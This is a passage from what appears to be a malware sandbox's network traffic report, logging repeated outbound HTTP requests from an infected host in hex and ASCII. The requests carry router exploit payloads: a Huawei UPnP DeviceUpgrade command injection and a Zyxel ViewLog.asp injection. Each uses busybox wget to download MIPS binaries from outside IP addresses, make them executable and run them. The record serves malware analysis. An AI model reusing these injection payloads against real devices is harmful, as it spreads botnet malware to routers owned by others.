6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:50.491646051 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:39.642359972 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                48192.168.2.1554842156.93.225.4037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:03.677047968 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                49192.168.2.155975462.29.91.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:05.752007008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:09.788741112 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.932724953 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.964245081 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:52.539719105 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.690411091 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                50192.168.2.153437694.120.228.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:05.756918907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                51192.168.2.153761031.40.225.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:05.758713961 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:05.984738111 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.23
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 03:50:59 GMT
                                                Content-Type: text/html
                                                Content-Length: 3167
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                52192.168.2.155409431.136.229.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.160985947 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:06.716854095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.836802959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:10.300770998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
